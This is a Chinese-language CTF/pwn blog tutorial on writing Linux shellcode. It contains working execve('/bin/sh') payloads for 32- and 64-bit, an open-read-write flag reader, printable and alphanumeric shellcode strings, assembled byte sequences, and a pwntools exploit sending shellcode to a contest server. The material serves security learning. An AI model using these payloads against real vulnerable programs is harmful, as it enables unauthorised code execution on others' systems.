【PWN笔记】shellcode解析

shellcode分类

直接执行shellcode

#include <stdio.h>
int main(int argc, char const *argv[])
{
    char s[0x500];
    gets(s);
    ((void(*)(void))s)();
    return 0;
}

pwntool可以直接生成shellcraft.sh()

32bits
## 一般函数调用参数是压入栈中,这里系统调用使用寄存器
## 需要对如下几个寄存器进行设置,可以比对官方的实现

  ebx = /bin/sh     ## 第一个参数
  ecx = 0             ## 第二个参数
  edx = 0             ## 第三个参数
  eax = 0xb           ## 0xb为系统调用号,即sys_execve()系统函数对应的序号
  int 0x80            ## 执行系统中断
######################################################################### 

## 更精炼的汇编代码
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。

    push 0x68732f        # 0x68732f --> hs/     little endian
    push 0x6e69622f      # 0x6e69622f --> nib/  little endian
    mov ebx, esp
    xor edx, edx
    xor ecx, ecx
    mov al, 0xb          # al为eax的低8位
    int 0x80
    ## 汇编之后字节长度为20字节

限制长度的shellcode

长度有限制的shellcode

#execve(“/bin/sh”,0,NULL);  23byts  
32bits
global _start
_start:
xor eax,eax             #eax置0
xor edx,edx             #edx置0
push edx                #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断

禁用了system

参考pwnable.tw的orw,这种不能直接get shell,但是可以编写shellcode实现fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)来读取flag

32bits
global _start
_start:
#fp = open("/home/orw/flag")
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
#read(fd,buf,0x100)
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
#write(1,buf,0x100)
mov ebx,0x1
mov eax,0x4
int 0x80

仅限可打印字符 的shellcode

// gcc -m64 -z execstack -fPIE -pie -z now chall3.c -o chall3
int main() {
    char buf[0x400];
    int n, i;
    n = read(0, buf, 0x400);
    if (n <= 0) return 0;
    for (i = 0; i < n; i++) {
        if(buf[i] < 32 || buf[i] > 126) return 0;
    }
    ((void(*)(void))buf)();
}

shellcode中不能出现不可见字符,那么能用的汇编语句就大大减少了,如32位的int 0x80,64位的syscall都不能直接输入,此类题目可用到的汇编指令如下 :

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

考查的是我们用上面有限的汇编指令编写出可用的shellcode,基本思想:mov a,b 用 push b;pop a替换;而像int 0x80 ; syscall这种则通过xor sub and inc dec运算来操作shellcode使之变成我们要的指令;

参数题目pwnable.tw的death_note 具体wp

有时可以用工具自动生成

x86可以msf内置的encoder,

x64用github上的shellcode_encoder

字母数字的shellcode

上面的字符限制还是可见字符,但是还可以继续限制到[A-Z],[a-z],[0-9]也就是字母和数字

// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2
int main() {
    char buf[0x200];
    int n, i;
    n = read(0, buf, 0x200);
    if (n <= 0) return 0;
    for (i = 0; i < n; i++) {
        if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) return 0;
    }
    ((void(*)(void))buf)();
}

中科大校赛上的一题,同样可以用msf生成符合的shellcode

exp

from pwn import *
context.log_level = 'debug'
# p = process('./chall2')
p = remote("202.38.93.241","10002")
p.recvuntil("token: ")
p.sendline("747:MEUCIBfqi0tiRKDbsSHczXVE7bwl3E2tvvYq46DisJi/LvE7AiEApxxz/mPdbr8kKbWmMtN4g6M17oOXTKJhGbZSYH43TAw=")
pause()
p.send("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJTK0XZ9V2U62HFMBCMYJGRHFORSE8EP2HFO3R3YBNLIJC1BZHDHS05PS06ORB2IRNFOT3RH30PWF3MYKQXMK0AA")
p.interactive()

纯字符Shellcode

http://taqini.space/2020/03/31/alpha-shellcode-gen/#alpha3

禁用了system和open

这种情况在2018-XNUCA-steak中出现,具体程序漏洞的分析可以参考看雪上面大佬的:https://bbs.pediy.com/thread-250635.htm

https://bbs.pediy.com/thread-249556.htm

这里主要介绍在shellcode的编写:其主要思想就是通过调用32位的open来绕过,因为程序只是对64位的代码做限制,而通过写32位的shellcode能到达到open的目的,以32位的模式运行。

(骚操作,通过retfq切换模式),下面会以一道倒是来详细分析这种做法。

禁用了system和open,还限制了shellcode字符

shellcode的艺术

64位shellcode的编写

普通shellcode

## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器 
## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9

    rdi = /bin/sh        ## 第一个参数
    rsi = 0              ## 第二个参数 
    rdx = 0              ## 第三个参数 
    rax = 0x3b           ## 64位下的系统调用号
    syscall              ## 64位使用 syscall
#####################################################################

## 精炼版本
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,64位中需要一行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。

    mov rbx, 0x68732f6e69622f  # 0x68732f6e69622f --> hs/nib/  little endian
    push rbx
    push rsp 
    pop rdi
    xor esi, esi               # rsi低32位
    xor edx, edx               # rdx低32位
    push 0x3b
    pop rax
    syscall
    ## 汇编之后字节长度为22字节

纯字母数字shellcode

文章:https://hama.hatenadiary.jp/entry/2017/04/04/190129

PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA

可打印ascii

这一种的限制一般是要求shellcode为可打印字符,包括字母、数字、符号。

可以用shellcode_encoder直接生成

一个实例编写全过程

假设我们现在要写一个shellcode,用来执行 execve("/bin/sh",0)

执行系统调用首先要知道调用函数对应的系统调用号,32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数,从表中可以看到execve的调用号是0x0b,需要把这个0x0b传给eax,接着执行 int 0x80软中断,也就是系统中断,根据中断号和相关寄存器设置调用对应系统函数

第一步,就是需要将系统调用号加入到eax中。

第二步,ebx用于保存函数调用的第一个参数(ecx存放第二个参数,edx存放第三个参数,esi存放第四个参数,edi存放第五个参数)

如果参数个数超过5个,那么就必须将参数数组存储在内存中,而且必须将该数组的地址存储在ebx中。

一旦加载寄存器之后,就会调用int 0x80 汇编指令来发出软中断,强迫内核暂停手头上的工作并处理该中断。

在这里,第1个参数ebx,刚好是“/bin/sh”;第2个参数ecx是一个指针数组,第一个元素是第一个参数地址,第二个元素为空;第3个参数是edx为空。最后execve的系统调用号就放在了寄存器eax中=0xb。

接着我们就开始编写shellcode了:

global _start
_start:
mov eax,0 #eax置0
mov edx,0 #edx置0
push edx #也就是 execve()中的第三个参数,由于是入栈,所以最先入的是最后一个参数
push "/sh"
push "/bin" #将/bin/sh存入栈中
mov ebx,esp #ebx指向/bin/sh字符串,保存了/bin/sh的地址
xor eax,eax #xor异或运算使eax清0,xor eax,eax 指令为2字节而mov eax,0 指令为5个字节一般用效率高的xor
mov al,0Bh #eax的低位置为execve函数中断号

int 80h

──(pearce㉿Kali)-[~/pwn]
└─$ cat shellcode.asm 
global _start
_start:
mov eax,0
mov edx,0
push edx
push "/sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0bh
int 80h                                                                                                                                                            
┌──(pearce㉿Kali)-[~/pwn]
└─$ nasm -f elf32 shellcode.asm

┌──(pearce㉿Kali)-[~/pwn]
└─$ ld -m elf_i386 -o shellcode shellcode.o

┌──(pearce㉿Kali)-[~/pwn]
└─$ objdump -d shellcode.o

shellcode.o:     文件格式 elf32-i386
Disassembly of section .text:

00000000 <_start>:
   0:   b8 00 00 00 00          mov    $0x0,%eax
   5:   ba 00 00 00 00          mov    $0x0,%edx
   a:   52                      push   %edx
   b:   68 2f 73 68 00          push   $0x68732f
  10:   68 2f 62 69 6e          push   $0x6e69622f
  15:   89 e3                   mov    %esp,%ebx
  17:   31 c0                   xor    %eax,%eax
  19:   b0 0b                   mov    $0xb,%al
  1b:   cd 80                   int    $0x80

机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符,这就需要我们在构造shellcode时防止此类坏字符的出现。所以我们要避免出现/x00字节,重新修改我们的汇编程序

将mov换为xor

在终端中”/bin/sh”和”/bin//sh”的效果是一样的。 可以防止0字节出现

很多博客都会用"/bin//sh"或者官方的"/bin///sh"

作为第一个参数,即添加/线来填充空白字符。这里可以将"/bin/sh"

放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外

"/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符

刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。

global _start
_start:
xor eax,eax
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor ecx,ecx
mov al,0Bh
int 80h

Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 d2                   xor    %edx,%edx
   4:   52                      push   %edx
   5:   68 2f 2f 73 68          push   $0x68732f2f
   a:   68 2f 62 69 6e          push   $0x6e69622f
   f:   89 e3                   mov    %esp,%ebx
  11:   31 c0                   xor    %eax,%eax
  13:   b0 0b                   mov    $0xb,%al
  15:   cd 80                   int    $0x80

最终python的脚本中 需要将'/bin/sh'替换

from pwn import *

shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode = asm(shellcode)

最后生成的shellcode

\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

机器码 -> 汇编

在线网站

汇编与反汇编

参考链接

https://blog.csdn.net/qq_35495684/article/details/79583232

https://blog.csdn.net/A951860555/article/details/110936441

https://www.redhatzone.com/ask/article/1489.html

https://xz.aliyun.com/t/6645

https://blog.csdn.net/man_embedded/article/details/78852953

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇